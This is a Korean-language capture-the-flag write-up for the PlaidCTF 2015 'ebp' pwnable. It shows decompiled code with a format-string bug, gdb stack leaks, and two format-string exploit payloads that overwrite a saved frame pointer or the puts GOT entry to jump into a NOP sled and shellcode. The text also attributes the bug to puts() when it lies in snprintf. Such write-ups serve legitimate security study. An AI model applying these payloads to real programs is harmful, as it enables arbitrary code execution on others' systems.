PCTF 2015 - pwnable-I - EBP


파일 링크
https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/ebp


프로그램 분석
int main(int argc, const char **argv, const char **envp)
{
  int result;

  while ( 1 )
  {
     result = (int)fgets(buf, 1024, stdin);
     if ( !result )
        break;
     echo();
  }
  return result;
}

int echo()
{
  make_response();
  puts(response);
  return fflush(stdout);
}

int make_response()
{
  return snprintf(response, 0x400u, buf);
}

'puts()' 함수에서 FSB 발생함을 알 수 있으며, FSB를 이용하여 다음과 같이 스택정보를 볼 수 있다.

(gdb) r
Starting program: /root/Desktop/ebp.elf 
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000
%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x %11$x %12$x %13$x %14$x %15$x %16$x %17$x %18$x %19$x %20$x
b7ebeada b7fbe440 804a080 bffff4d8 804852c 1 0 804a080 b7fbdff4 0 0 bffff4f8 8048557 804a080 400 b7fbe440 b7fbdff4 8048580 0 bffff578

'echo()' 함수에서 ret 코드가 실행되기 바로 직전 $esp 확인
(gdb) x/10x $esp
0xbffff4dc: 0x08048557 0x0804a080 0x00000400 0xb7fbe440
0xbffff4ec: 0xb7fbdff4 0x08048580 0x00000000 0xbffff578
0xbffff4fc: 0xb7e74e46 0x00000001

input에서 %13$x가 echo() 함수의 ret 주소를 가르킨다는 것을 알 수 있다.
그리고
%4$x - puts() 함수의 sfp
%12$x - echo() 함수의 sfp
%20$x - main() 함수의 sfp
주소임을 알 수 있다.

이 때 puts() 함수의 sfp 값을 바꿔주면 echo() 함수가 종료되면서 바뀐 sfp로부터 leave ret을 하면서 mov ebp->esp, pop ebp, pop eip를 하기 때문에 우리가 원하는 영역의 코드로 eip를 변조시킬 수 있다.


첫번째 페이로드는 sfp를 조작하여 fake ebp를 줘서 eip를 변조시키는 방법이다.
buf의 주소는 0x804a080 이고, 페이로드는 다음과 같다.
"AAAA\xc0\xa0\x04\x08%" + str(0x804a080 - 8) + "c%4$n" + "\x90" * 200 + shellcode + "\n"


두번째 페이로드는 puts@got.plt 영역을 이용해서 puts() 함수가 호출될때 buf의 위치로 eip를 변조시키는 방법이다.
puts@got.plt 의 주소는 0x804a014이고, 페이로드는 다음과 같다.
stage1 - "%" + str(0x804a014) + "c%12$n\n"
stage2 - "%" + str(0x804a080 + 100) + "c%20$n" + "\x90" * 200 + shellcode + "\n"

댓글